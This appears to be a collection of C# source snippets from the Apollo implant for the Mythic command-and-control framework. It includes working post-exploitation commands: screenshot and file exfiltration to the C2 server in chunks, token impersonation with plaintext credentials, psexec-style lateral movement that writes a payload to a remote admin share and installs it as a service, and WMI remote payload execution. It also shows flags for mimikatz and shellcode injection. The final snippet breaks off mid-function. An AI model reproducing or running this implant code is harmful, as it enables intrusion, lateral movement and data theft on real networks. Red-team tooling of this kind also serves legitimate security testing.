示例#1
0
        public static void Execute(Job job, Agent agent)
        {
            Task   task = job.Task;
            string path = task.parameters;

            if (Directory.Exists(path))
            {
                job.SetError($"Directory \"{path}\" already exists.");
                return;
            }

            try
            {
                var dinfo = Directory.CreateDirectory(path);
                job.Task.completed = true;
                ApolloTaskResponse resp = new ApolloTaskResponse(job.Task, $"Created directory {dinfo.FullName}")
                {
                    artifacts = new Mythic.Structs.Artifact[]
                    {
                        new Mythic.Structs.Artifact()
                        {
                            base_artifact = "Directory Create", artifact = dinfo.FullName
                        }
                    }
                };
                job.SetComplete(resp);
            }
            catch (Exception e)
            {
                job.SetError($"Error creating directory \"{path}\": {e.Message}");
            }
        }
示例#2
0
        /// <summary>
        /// Kill a process with a given PID.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task. The process to kill
        /// is located in job.Task.parameters and should be a
        /// valid unsigned 32-bit integer.
        /// </param>
        /// <param name="agent">Agent to run this command on.</param>
        public static void Execute(Job job, Agent agent)
        {
            Task           task = job.Task;
            KillParameters args = JsonConvert.DeserializeObject <KillParameters>(task.parameters);
            int            pid  = args.pid;

            try
            {
                System.Diagnostics.Process target = System.Diagnostics.Process.GetProcessById(pid);
                target.Kill();
                ApolloTaskResponse resp = new ApolloTaskResponse(job.Task, $"Killed process with PID {pid}")
                {
                    artifacts = new Mythic.Structs.Artifact[]
                    {
                        new Mythic.Structs.Artifact()
                        {
                            base_artifact = "Process Terminated", artifact = $"{target.ProcessName} (PID: {pid})"
                        }
                    }
                };
                job.SetComplete(resp);
            }
            catch (Exception e)
            {
                job.SetError(String.Format("Error killing process with PID {0}. Reason: {1}\nStack Trace:\n{2}", pid, e.Message, e.StackTrace));
            }
        }
示例#3
0
        /// <summary>
        /// Send a chunked screenshot response to the Apfell server.
        /// </summary>
        /// <param name="implant">Agent that will be sending the data.</param>
        /// <param name="task">Task associated with the screenshot.</param>
        /// <param name="screenshot">Byte array of data that holds a chunked screenshot response.</param>
        private static void SendCapture(Agent implant, Job job, byte[] screenshot)
        {
            Task task = job.Task;

            try // Try block for HTTP request
            {
                // Send total number of chunks to Apfell server
                // Number of chunks will always be one for screen capture task
                // Receive file ID in response
                // Send number of chunks associated with task to Apfell server
                // Response will have the file ID to send file with

                int totalChunks = (int)Math.Ceiling((double)screenshot.Length / (double)implant.Profile.ChunkSize);
                ApolloTaskResponse registrationMessage = new ApolloTaskResponse()
                {
                    task_id      = task.id,
                    total_chunks = totalChunks,
                    full_path    = task.id
                };
                //SCTaskResp initial = new SCTaskResp(task.id, "{\"total_chunks\": " + total_chunks + ", \"task\": \"" + task.id + "\"}");
                job.AddOutput(registrationMessage);
                MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(task.id);
                if (resp.file_id == "")
                {
                    job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was: {0}", resp.ToString()));
                    return;
                }
                // Convert chunk to base64 blob and create our FileChunk
                for (int i = 0; i < totalChunks; i++)
                {
                    ApolloTaskResponse fc = new ApolloTaskResponse();
                    fc.chunk_num    = i + 1;
                    fc.file_id      = resp.file_id;
                    fc.total_chunks = -1;
                    byte[] screenshotChunk = new byte[implant.Profile.ChunkSize];
                    if (implant.Profile.ChunkSize > screenshot.Length - (i * implant.Profile.ChunkSize))
                    {
                        Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, screenshot.Length - (i * implant.Profile.ChunkSize));
                    }
                    else
                    {
                        Array.Copy(screenshot, i * implant.Profile.ChunkSize, screenshotChunk, 0, implant.Profile.ChunkSize);
                    }
                    fc.chunk_data = Convert.ToBase64String(screenshot);
                    fc.task_id    = task.id;

                    job.AddOutput(fc);
                    Inbox.GetMessage(task.id);
                    //Debug.WriteLine($"[-] SendCapture - RESPONSE: {implant.Profile.SendResponse(response)}");
                }
            }
            catch (Exception e) // Catch exceptions from HTTP requests
            {
                // Something failed, so we need to tell the server about it
                job.SetError($"Error: {e.Message}");
            }
        }
示例#4
0
            internal void AddOutput(object output, bool completed = false, string status = "")
            {
                Task.status    = status;
                Task.completed = completed;
#if MIMIKATZ || RUN || SHELL || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || SHINJECT || PRINTSPOOFER || SPAWN
                if (completed && sacrificialProcess != null)
                {
                    string msg;
                    if (sacrificialProcess.HasExited)
                    {
                        msg = $"{sacrificialProcess.command} (PID: {sacrificialProcess.PID}, Exit Code: {sacrificialProcess.ExitCode})";
                    }
                    else
                    {
                        msg = $"{sacrificialProcess.command} (PID: {sacrificialProcess.PID})";
                    }
                    if (output.GetType() != typeof(ApolloTaskResponse))
                    {
                        output = new ApolloTaskResponse(Task, output)
                        {
                            artifacts = new Artifact[]
                            {
                                new Artifact()
                                {
                                    artifact = msg, base_artifact = "Process Create"
                                }
                            }
                        };
                    }
                    else
                    {
                        ApolloTaskResponse temp = (ApolloTaskResponse)output;
                        if (temp.artifacts == null)
                        {
                            temp.artifacts = new Artifact[]
                            {
                                new Artifact()
                                {
                                    artifact = msg, base_artifact = "Process Create"
                                }
                            }
                        }
                        ;
                        output = temp;
                    }
                }
#endif
                if (output.GetType() == typeof(ApolloTaskResponse))
                {
                    var temp = (ApolloTaskResponse)output;
                    temp.completed = completed;
                    output         = temp;
                }
                syncOutputQueue.Enqueue(output);
            }
示例#5
0
        /// <summary>
        /// Create a token based on the task.@params passed.
        /// </summary>
        /// <param name="task">Task that holds a Cred JSON dict with the proper values to spawn the process.</param>
        public static void MakeToken(Job j)
        {
            var task = j.Task;
            MakeTokenParameter parameters = JsonConvert.DeserializeObject <MakeTokenParameter>(task.parameters);

            MythicCredential cred = parameters.credential;


            if (string.IsNullOrEmpty(cred.account) || string.IsNullOrEmpty(cred.credential))
            {
                j.SetError("Username and password are required for make_token.");
                return;
            }

            if (cred.credential_type != "plaintext")
            {
                j.SetError($"make_token can only be used with plaintext credentials, and was given credentials of type {cred.credential_type}");
                return;
            }


            string userFQDN = cred.account;

            if (!string.IsNullOrEmpty(cred.realm))
            {
                userFQDN = cred.realm + "\\" + userFQDN;
            }
            else
            {
                userFQDN = ".\\" + userFQDN;
            }

            if (!CredentialManager.SetCredential(cred.account, cred.credential, cred.realm))
            {
                j.SetError($"Failed to make_token with {userFQDN}:{cred.credential}\n\t:Error Code: {Marshal.GetLastWin32Error()}");
                return;
            }

            try
            {
                string             msg  = $"Successfully impersonated {CredentialManager.GetCurrentUsername()}";
                ApolloTaskResponse resp = new ApolloTaskResponse(task, msg)
                {
                    artifacts = new Artifact[]
                    {
                        new Artifact("Logon Event", $"New Type 9 Logon for {CredentialManager.GetCurrentUsername()}")
                    }
                };
                j.SetComplete(resp);
            }
            catch (Exception ex)
            {
                j.SetError($"Unknown error: {ex.Message}\nStackTrace{ex.StackTrace}");
            }
        }
示例#6
0
        public static void Execute(Job job, Agent implant)
        {
            Task task = job.Task;

            MoveParameters arguments = JsonConvert.DeserializeObject <MoveParameters>(task.parameters);

            if (string.IsNullOrEmpty(arguments.source))
            {
                job.SetError("No source path given to move.");
                return;
            }
            if (string.IsNullOrEmpty(arguments.destination))
            {
                job.SetError("No destination path was given.");
                return;
            }

            if (!File.Exists(arguments.source))
            {
                job.SetError($"File \"{arguments.source}\" does not exist.");
                return;
            }

            if (File.Exists(arguments.destination))
            {
                job.SetError($"File \"{arguments.destination}\" already exists. Delete or move this file before overwriting it.");
                return;
            }
            FileInfo source = new FileInfo(arguments.source);
            FileInfo dest;

            try
            {
                File.Move(arguments.source, arguments.destination);
                dest = new FileInfo(arguments.destination);
                job.Task.completed = true;
                ApolloTaskResponse resp = new ApolloTaskResponse(job.Task, $"Successfully moved \"{arguments.source}\" to \"{arguments.destination}\"")
                {
                    artifacts = new Artifact[]
                    {
                        new Artifact()
                        {
                            base_artifact = "File Move", artifact = $"Renamed {source.FullName} to {dest.FullName} (MD5: {FileUtils.GetFileMD5(dest.FullName)})"
                        }
                    }
                };
                job.SetComplete(resp);
            } catch (Exception ex)
            {
                job.SetError($"Error performing the move operation. Reason: {ex.Message}");
            }
        }
示例#7
0
        public void RemoveDelegateNode(string uuid)
        {
            if (DelegateNodes.ContainsKey(uuid))
            {
                DelegateNode node = DelegateNodes[uuid];
                if (node.NodeRelay.IsActive() && !node.TemporaryUUID)
                {
                    node.NodeRelay.StopAllThreads = true;
                    while (node.NodeRelay.IsActive())
                    {
                        Thread.Sleep(500);
                    }
                }
                DelegateNodesMutex.WaitOne();
                DelegateNodes.Remove(uuid);
                DelegateNodesMutex.ReleaseMutex();
                AS.EdgeNode en = new AS.EdgeNode()
                {
                    source      = this.uuid,
                    destination = node.AgentUUID,
                    direction   = 1, // from source to dest
                    metadata    = "",
                    action      = "remove",
                    c2_profile  = node.ProfileInfo.name
                };
                if (!node.TemporaryUUID)
                {
                    var response = new ApolloTaskResponse()
                    {
                        task_id     = node.OriginatingTaskID,
                        completed   = true,
                        user_output = $"Lost link to {node.AgentComputerName} (Agent UUID: {node.AgentUUID})",
                        status      = "error",
                        edges       = new AS.EdgeNode[] { en }
                    };

                    try
                    {
                        Profile.SendResponse(node.OriginatingTaskID, response);
                    }
                    catch (Exception ex)
                    {
                        DebugWriteLine($"Error sending node removal message to server. Reason: {ex.Message}\n\tStackTrack: {ex.StackTrace}");
                    }
                }
            }
        }
示例#8
0
            internal ApolloTaskResponse[] GetOutput()
            {
                List <ApolloTaskResponse> results = new List <ApolloTaskResponse>();

#if MIMIKATZ || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || PRINTSPOOFER
                List <string> output = new List <string>();
#endif
                while (syncOutputQueue.Count > 0)
                {
                    object msg = syncOutputQueue.Dequeue();
#if MIMIKATZ || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || PRINTSPOOFER
                    if (unmanagedCommands.Contains(Task.command) && msg.GetType() == typeof(string))
                    {
                        output.Add((string)msg);
                    }
                    else
                    {
#endif
                    if (msg.GetType() != typeof(ApolloTaskResponse))
                    {
                        msg = new ApolloTaskResponse(Task, msg);
                    }
                    results.Add((ApolloTaskResponse)msg);
#if MIMIKATZ || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || PRINTSPOOFER
                }
#endif
                }
#if MIMIKATZ || POWERPICK || PSINJECT || EXECUTE_ASSEMBLY || ASSEMBLY_INJECT || PRINTSPOOFER
                if (output.Count > 0)
                {
                    ApolloTaskResponse temp = new ApolloTaskResponse(Task, string.Join("\n", output));
                    results.Add(temp);
                }
#endif
                return(results.ToArray());
            }
示例#9
0
        public static void Execute(Job job, Agent agent)
        {
            byte[]             templateFile;
            PSExecParameters   args;
            ApolloTaskResponse resp;
            string             formattedRemotePath;
            string             remotePath;
            string             fileGuid        = Guid.NewGuid().ToString();
            bool bTemplateFileWritten          = false;
            ServiceController resultantService = null;

            args = JsonConvert.DeserializeObject <PSExecParameters>(job.Task.parameters);
            if (string.IsNullOrEmpty(args.computer))
            {
                job.SetError("Missing required parameter: computer");
                return;
            }
            if (string.IsNullOrEmpty(args.template))
            {
                job.SetError("Missing required parameter: template");
                return;
            }

            if (string.IsNullOrEmpty(args.remote_path))
            {
                formattedRemotePath = $"\\\\{args.computer}\\C$\\Users\\Public\\{fileGuid}.exe";
                remotePath          = $"C:\\Users\\Public\\{fileGuid}.exe";
            }
            else
            {
                if (Directory.Exists(args.remote_path))
                {
                    args.remote_path = Path.Combine(args.remote_path, $"{fileGuid}.exe");
                }
                remotePath          = args.remote_path;
                formattedRemotePath = $"\\\\{args.computer}\\{args.remote_path.Replace(':', '$')}";
            }

            if (string.IsNullOrEmpty(args.service_name))
            {
                args.service_name = $"ApolloService-{fileGuid}";
            }
            if (string.IsNullOrEmpty(args.display_name))
            {
                args.display_name = $"Apollo Service: {fileGuid}";
            }

            templateFile = agent.Profile.GetFile(job.Task.id, args.template, agent.Profile.ChunkSize);
            if (templateFile.Length == null || templateFile.Length == 0)
            {
                job.SetError($"Unable to retrieve template ID: {args.template}");
                return;
            }

            try
            {
                File.WriteAllBytes(formattedRemotePath, templateFile);
                bTemplateFileWritten = true;
            }
            catch (Exception ex)
            {
                job.SetError($"Unable to write file to {formattedRemotePath}. Reason: {ex.Message}");
                return;
            }

            resp = new ApolloTaskResponse(job.Task, $"Copied payload to {formattedRemotePath}");
            job.AddOutput(resp);

            try
            {
                if (!Utils.ServiceUtils.InstallService(args.computer, args.service_name, args.display_name, remotePath))
                {
                    string errMsg = $"Error installing service \"{args.service_name}\" on {args.computer}. Last Win32 Error: {Marshal.GetLastWin32Error()}";
                    try
                    {
                        if (File.Exists(formattedRemotePath))
                        {
                            File.Delete(formattedRemotePath);
                        }
                    }
                    catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; }
                    job.SetError(errMsg);
                    return;
                }
            }
            catch (Exception ex)
            {
                string errMsg = $"Error installing service on \"{args.service_name}\" on {args.computer}. Reason: {ex.Message}";
                try
                {
                    if (File.Exists(formattedRemotePath))
                    {
                        File.Delete(formattedRemotePath);
                    }
                }
                catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; }
                job.SetError(errMsg);
                return;
            }

            resp = new ApolloTaskResponse(job.Task, $"Installed service \"{args.service_name}\" on {args.computer}");
            job.AddOutput(resp);

            try
            {
                if (!Utils.ServiceUtils.StartService(args.computer, args.service_name))
                {
                    string errMsg = $"Unable to start service \"{args.service_name}\" on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
                    try
                    {
                        if (File.Exists(formattedRemotePath))
                        {
                            File.Delete(formattedRemotePath);
                        }
                    }
                    catch (Exception ex) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex.Message}"; }

                    try
                    {
                        if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name))
                        {
                            errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
                        }
                    }
                    catch (Exception ex) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex.Message}"; }
                    job.SetError(errMsg);
                    return;
                }
            }
            catch (Exception ex)
            {
                if (Utils.ServiceUtils.GetService(args.computer, args.service_name, out resultantService))
                {
                    if (resultantService.Status == ServiceControllerStatus.Running || resultantService.Status == ServiceControllerStatus.StartPending)
                    {
                    }
                    else
                    {
                        string errMsg = "";
                        if (ex.GetType() == typeof(System.InvalidOperationException))
                        {
                            errMsg += $"Error starting service: {ex.Message}";
                        }
                        try
                        {
                            if (File.Exists(formattedRemotePath))
                            {
                                File.Delete(formattedRemotePath);
                            }
                        }
                        catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; }

                        try
                        {
                            if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name))
                            {
                                errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
                            }
                        }
                        catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; }
                        job.SetError(errMsg);
                        return;
                    }
                }
            }

            try
            {
                if (resultantService == null)
                {
                    if (!ServiceUtils.GetService(args.computer, args.service_name, out resultantService))
                    {
                        job.SetError($"Could not find service {args.service_name} on {args.computer}");
                        return; // probably need to delete remote file
                    }
                }
                job.SetComplete($@"
Service started on {args.computer}!
    
DisplayName : {resultantService.DisplayName}
ServiceName : {resultantService.ServiceName}
Status      : {resultantService.Status}
CanStop     : {resultantService.CanStop}");
            }
            catch (Exception ex)
            {
                string errMsg = "Could not find service on remote host.";
                try
                {
                    if (File.Exists(formattedRemotePath))
                    {
                        File.Delete(formattedRemotePath);
                    }
                }
                catch (Exception ex2) { errMsg += $"\n\nError deleting service executable on remote host. Reason: {ex2.Message}"; }
                try
                {
                    if (!Utils.ServiceUtils.UninstallService(args.computer, args.service_name))
                    {
                        errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Last Win32Error: {Marshal.GetLastWin32Error()}";
                    }
                }
                catch (Exception ex3) { errMsg += $"\n\nError uninstalling service {args.service_name} on {args.computer}. Reason: {ex3.Message}"; }
                job.SetError(errMsg);
                return;
            }
        }
示例#10
0
        public static void Execute(Job job, Agent agent)
        {
            WMIProcessExecuteParameters parameters = (WMIProcessExecuteParameters)JsonConvert.DeserializeObject <WMIProcessExecuteParameters>(job.Task.parameters);
            ApolloTaskResponse          resp;
            MythicCredential            cred = new MythicCredential();
            bool success;

            byte[] templateFile;
            string username            = null;
            string password            = null;
            string formattedRemotePath = null;
            string fileGuid            = Guid.NewGuid().ToString();

            if (string.IsNullOrEmpty(parameters.computer))
            {
                job.SetError("No computer name passed.");
                return;
            }

            if (string.IsNullOrEmpty(parameters.template))
            {
                job.SetError("No template was given to download.");
                return;
            }
            if (!string.IsNullOrEmpty(parameters.credential))
            {
                cred = JsonConvert.DeserializeObject <MythicCredential>(parameters.credential);
            }
            string remotePath = parameters.remote_path;

            if (string.IsNullOrEmpty(parameters.remote_path))
            {
                formattedRemotePath = $"\\\\{parameters.computer}\\C$\\Users\\Public\\{fileGuid}.exe";
                remotePath          = $"C:\\Users\\Public\\{fileGuid}.exe";
            }
            else
            {
                if (Directory.Exists(parameters.remote_path))
                {
                    parameters.remote_path = Path.Combine(parameters.remote_path, $"{fileGuid}.exe");
                }
                remotePath = parameters.remote_path;
                //formattedRemotePath = $"\\\\{parameters.computer}\\{parameters.remote_path.Replace(':', '$')}";
            }

            try
            {
                templateFile = agent.Profile.GetFile(job.Task.id, parameters.template, agent.Profile.ChunkSize);
            }
            catch (Exception ex)
            {
                job.SetError($"Error fetching remote file: {ex.Message}");
                return;
            }

            if (templateFile == null || templateFile.Length == 0)
            {
                job.SetError($"File ID {parameters.template} was of zero length.");
                return;
            }

            try
            {
                File.WriteAllBytes(remotePath, templateFile);
                resp = new ApolloTaskResponse(job.Task, $"Copied payload to {remotePath}");
                job.AddOutput(resp);
            }
            catch (Exception ex)
            {
                job.SetError($"Remote file copy to {remotePath} failed. Reason: {ex.Message}");
                return;
            }


            if (!string.IsNullOrEmpty(cred.account))
            {
                username = cred.account;
                if (!string.IsNullOrEmpty(cred.realm))
                {
                    username = cred.realm + "\\" + username;
                }
                password = cred.credential;
            }

            success = WMIUtils.RemoteWMIExecute(parameters.computer, remotePath, out string[] results, username, password);
            job.SetComplete(string.Join("\n", results));
        }
示例#11
0
        /// <summary>
        /// Write a file to disk.
        /// </summary>
        /// <param name="job">Job associated with this task. task.@params will hold a JSON dict containing file_id and remote_path</param>
        /// <param name="implant">Agent associated with this task.</param>
        public static void Execute(Job job, Agent implant)
        {
            byte[]           contents;
            Task             task       = job.Task;
            UploadParameters parameters = JsonConvert.DeserializeObject <UploadParameters>(task.parameters);
            string           filepath;

            if (!string.IsNullOrEmpty(parameters.host) && !string.IsNullOrEmpty(parameters.remote_path))
            {
                parameters.remote_path = $"\\\\{parameters.host}\\{parameters.remote_path}";
            }
            if (string.IsNullOrEmpty(parameters.remote_path))
            {
                filepath = Path.Combine(Directory.GetCurrentDirectory(), parameters.file_name);
            }
            else if (Directory.Exists(parameters.remote_path))
            {
                filepath = Path.Combine(parameters.remote_path, parameters.file_name);
            }
            else if (!string.IsNullOrEmpty(Path.GetDirectoryName(parameters.remote_path)) && Directory.Exists(Path.GetDirectoryName(parameters.remote_path)))
            {
                filepath = parameters.remote_path;
            }
            else if (File.Exists(parameters.remote_path))
            {
                job.SetError($"File {parameters.remote_path} already exists on disk. Please move or delete the specified file before overwriting.");
                return;
            }
            else if (!string.IsNullOrEmpty(parameters.remote_path) && !parameters.remote_path.Contains("\\"))
            {
                filepath = $".\\{parameters.remote_path}";
            }
            else
            {
                job.SetError($"Could not find a location on disk that matches the remote path given: {parameters.remote_path}");
                return;
            }

            if (string.IsNullOrEmpty(parameters.file))
            {
                job.SetError("No file was given to upload.");
                return;
            }



            // First we have to request the file from the server with a POST
            try // Try block for HTTP request
            {
                contents = implant.Profile.GetFile(job.Task.id, parameters.file, implant.Profile.ChunkSize);
                if (contents == null || contents.Length == 0)
                {
                    job.SetError($"Retrieved file {parameters.file_name} (ID: {parameters.file}), but it was zero length. Aborting upload.");
                    return;
                }
                // Write file to disk
                File.WriteAllBytes(filepath, contents);
                FileInfo finfo = new FileInfo(filepath);

                ApolloTaskResponse resp = new ApolloTaskResponse(task, $"Wrote {contents.Length} bytes to {filepath}")
                {
                    full_path = finfo.FullName,
                    file_id   = parameters.file,
                    artifacts = new Mythic.Structs.Artifact[]
                    {
                        new Mythic.Structs.Artifact()
                        {
                            base_artifact = "File Create", artifact = $"{finfo.FullName} (MD5: {FileUtils.GetFileMD5(finfo.FullName)})"
                        }
                    }
                };
                //resp.user_output = $"Wrote {contents.Length} bytes to {filepath}";
                job.SetComplete(resp);
            }
            catch (Exception ex) // Catch exceptions from HTTP request
            {
                // Something failed, so we need to tell the server about it
                job.SetError($"Error writing file to disk. Reason: {ex.Message}");
            }
        }
示例#12
0
文件: Download.cs 项目: zhouzu/Apollo
        /// <summary>
        /// Download a file to the remote Apfell server.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task.
        /// File to download is in job.Task.parameters
        /// </param>
        /// <param name="implant">Agent this task is run on.</param>
        public static void Execute(Job job, Agent implant)
        {
            Task   task     = job.Task;
            string filepath = task.parameters.Trim();
            string strReply;
            bool   uploadResponse;

            if (filepath[0] == '"' && filepath[filepath.Length - 1] == '"')
            {
                filepath = filepath.Substring(1, filepath.Length - 2);
            }
            else if (filepath[0] == '\'' && filepath[filepath.Length - 1] == '\'')
            {
                filepath = filepath.Substring(1, filepath.Length - 2);
            }
            try // Try block for file upload task
            {
                // Get file info to determine file size
                FileInfo fileInfo = new FileInfo(filepath);
                long     size     = fileInfo.Length;

                // Determine number of 512kb chunks to send
                long total_chunks = size / 512000;
                // HACK: Dumb workaround because longs don't have a ceiling operation
                if (total_chunks == 0)
                {
                    total_chunks = 1;
                }

                // Send number of chunks associated with task to Apfell server
                // Response will have the file ID to send file with
                ApolloTaskResponse registrationMessage = new ApolloTaskResponse()
                {
                    task_id      = task.id,
                    total_chunks = total_chunks,
                    full_path    = fileInfo.FullName
                };

                job.AddOutput(registrationMessage);
                MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id);

                if (resp.file_id == "")
                {
                    job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString()));
                    return;
                }

                // Send file in chunks
                for (int i = 0; i < total_chunks; i++)
                {
                    byte[] chunk = null;
                    long   pos   = i * 512000;

                    // We need to use a FileStream in case our file size in bytes is larger than an Int32
                    // With a filestream, we can specify a position as a long, and then use Read() normally
                    using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                    {
                        fs.Position = pos;

                        // If this is the last chunk, size will be the remaining bytes
                        if (i == total_chunks - 1)
                        {
                            chunk = new byte[size - (i * 512000)];
                            int chunkSize = chunk.Length;
                            fs.Read(chunk, 0, chunkSize);
                        }
                        // Otherwise we'll read 512kb from the file
                        else
                        {
                            chunk = new byte[512000];
                            fs.Read(chunk, 0, 512000);
                        }
                    }

                    // Convert chunk to base64 blob and create our FileChunk
                    ApolloTaskResponse fc = new ApolloTaskResponse()
                    {
                        chunk_num    = i + 1,
                        file_id      = resp.file_id,
                        task_id      = job.Task.id,
                        chunk_data   = Convert.ToBase64String(chunk),
                        total_chunks = -1
                    };

                    job.AddOutput(fc);
                }
                job.SetComplete($"Finished downloading file {filepath}");
            }
            catch (Exception e) // Catch any exception from file upload
            {
                job.SetError($"Exception occurred while downloading file: {e.Message}");
            }
        }
示例#13
0
文件: Download.cs 项目: dycsy/Apollo
        /// <summary>
        /// Download a file to the remote Apfell server.
        /// </summary>
        /// <param name="job">
        /// Job associated with this task.
        /// File to download is in job.Task.parameters
        /// </param>
        /// <param name="implant">Agent this task is run on.</param>
        public static void Execute(Job job, Agent implant)
        {
            Task task = job.Task;
            DownloadParameters dlParams;
            string             filepath     = "";
            string             host         = "";
            string             computerName = "";

            try
            {
                computerName = Environment.GetEnvironmentVariable("COMPUTERNAME");
            } catch { }
            try
            {
                dlParams = JsonConvert.DeserializeObject <DownloadParameters>(task.parameters);
            } catch (Exception ex)
            {
                job.SetError($"Failed to deserialize ");
                return;
            }
            host = dlParams.host;
            if (host != "")
            {
                if (host.ToLower() != "localhost" && host != "127.0.0.1" && host != "." && host != "::::" && host.ToLower() != computerName.ToLower())
                {
                    filepath = $"\\\\{host}\\{dlParams.file}";
                }
                else
                {
                    filepath = dlParams.file;
                    host     = computerName;
                }
            }
            else
            {
                filepath = dlParams.file;
                host     = computerName;
            }
            try // Try block for file upload task
            {
                // Get file info to determine file size
                FileInfo fileInfo = new FileInfo(filepath);
                long     size     = fileInfo.Length;

                // Determine number of 512kb chunks to send
                long total_chunks = size / 512000;
                // HACK: Dumb workaround because longs don't have a ceiling operation
                if (total_chunks == 0)
                {
                    total_chunks = 1;
                }

                // Send number of chunks associated with task to Apfell server
                // Response will have the file ID to send file with
                ApolloTaskResponse registrationMessage = new ApolloTaskResponse()
                {
                    task_id      = task.id,
                    total_chunks = total_chunks,
                    full_path    = fileInfo.FullName,
                    host         = host
                };

                job.AddOutput(registrationMessage);
                MythicTaskResponse resp = (MythicTaskResponse)Inbox.GetMessage(job.Task.id);

                if (resp.file_id == "")
                {
                    job.SetError(String.Format("Did not parse a file_id from the server response. Server reply was:\n\t{0}", resp.ToString()));
                    return;
                }

                // Send file in chunks
                for (int i = 0; i < total_chunks; i++)
                {
                    byte[] chunk = null;
                    long   pos   = i * 512000;

                    // We need to use a FileStream in case our file size in bytes is larger than an Int32
                    // With a filestream, we can specify a position as a long, and then use Read() normally
                    using (FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
                    {
                        fs.Position = pos;

                        // If this is the last chunk, size will be the remaining bytes
                        if (i == total_chunks - 1)
                        {
                            chunk = new byte[size - (i * 512000)];
                            int chunkSize = chunk.Length;
                            fs.Read(chunk, 0, chunkSize);
                        }
                        // Otherwise we'll read 512kb from the file
                        else
                        {
                            chunk = new byte[512000];
                            fs.Read(chunk, 0, 512000);
                        }
                    }

                    // Convert chunk to base64 blob and create our FileChunk
                    ApolloTaskResponse fc = new ApolloTaskResponse()
                    {
                        chunk_num    = i + 1,
                        file_id      = resp.file_id,
                        task_id      = job.Task.id,
                        chunk_data   = Convert.ToBase64String(chunk),
                        total_chunks = -1
                    };

                    job.AddOutput(fc);
                }
                job.SetComplete($"Finished downloading file {filepath}");
            }
            catch (Exception e) // Catch any exception from file upload
            {
                job.SetError($"Exception occurred while downloading file: {e.Message}");
            }
        }
示例#14
0
        public static void Execute(Job job, Agent implant)
        {
            bool isJsonArgs = job.Task.parameters[0] == '{';

            string[] commands    = null;
            string   key         = "";
            string   value_name  = "";
            string   value_value = "";

            if (string.IsNullOrEmpty(job.Task.parameters))
            {
                job.SetError("No arguments given.");
                return;
            }
            if (!isJsonArgs)
            {
                commands = SplitCommandLine(job.Task.parameters);
            }

            switch (job.Task.command)
            {
#if REG_QUERY_SUBKEYS
            case "reg_query_subkeys":
                try
                {
                    if (isJsonArgs)
                    {
                        RegQuerySubKeysArguments args = JsonConvert.DeserializeObject <RegQuerySubKeysArguments>(job.Task.parameters);
                        key = args.key;
                    }
                    else
                    {
                        if (commands.Length == 0)
                        {
                            job.SetError("No arguments given.");
                            return;
                        }
                        key = commands[0];
                    }
                    if (string.IsNullOrEmpty(key))
                    {
                        job.SetError("No key given.");
                        return;
                    }
                    string[] subkeys = RegistryUtils.GetSubKeys(key);

                    List <RegQuerySubKeysResult> results = new List <RegQuerySubKeysResult>();
                    foreach (string subkey in subkeys)
                    {
                        string full_key = key.EndsWith("\\") ? key + subkey : string.Format("{0}\\{1}", key, subkey);
                        results.Add(new RegQuerySubKeysResult()
                        {
                            key      = subkey,
                            full_key = full_key
                        });
                    }
                    job.SetComplete(results.ToArray());
                } catch (Exception ex)
                {
                    job.SetError(string.Format("Exception occurred while listing subkeys of {0}: {1}", key, ex.Message));
                }
                break;
#endif
#if REG_QUERY_VALUES
            case "reg_query_values":
                try
                {
                    if (isJsonArgs)
                    {
                        RegQueryValuesArguments args = JsonConvert.DeserializeObject <RegQueryValuesArguments>(job.Task.parameters);
                        key = args.key;
                    }
                    else if (commands.Length > 0)
                    {
                        key = commands[0];
                    }
                    if (string.IsNullOrEmpty(key))
                    {
                        job.SetError("No key given to list values names for.");
                        return;
                    }
                    string[] valuenames = RegistryUtils.GetValueNames(key);
                    if (valuenames == null || valuenames.Length == 0)
                    {
                        valuenames = new string[] { "" }
                    }
                    ;
                    if (!valuenames.Contains(""))
                    {
                        string[] tempArray = new string[valuenames.Length + 1];
                        Array.Copy(valuenames, tempArray, valuenames.Length);
                        tempArray[tempArray.Length - 1] = "";
                        valuenames = tempArray;
                    }
                    List <RegQueryValuesResult> results = new List <RegQueryValuesResult>();
                    foreach (string valname in valuenames)
                    {
                        string tempvalname = valname;
                        if (string.IsNullOrEmpty(valname))
                        {
                            tempvalname = "(Default)";
                        }
                        object value  = null;
                        string result = "";
                        string type   = "";
                        try
                        {
                            value = RegistryUtils.GetValue(key, valname);
                        }
                        catch (Exception ex)
                        {
                            result = ex.Message;
                            type   = "error";
                        }
                        if (string.IsNullOrEmpty(result))
                        {
                            if (value is String)
                            {
                                result = string.IsNullOrEmpty(value.ToString()) ? "(value not set)" : value.ToString();
                                type   = "string";
                            }
                            else if (value is int)
                            {
                                result = value.ToString();
                                type   = "int";
                            }
                            else if (value is byte[])
                            {
                                result = BitConverter.ToString((byte[])value);
                                type   = "byte[]";
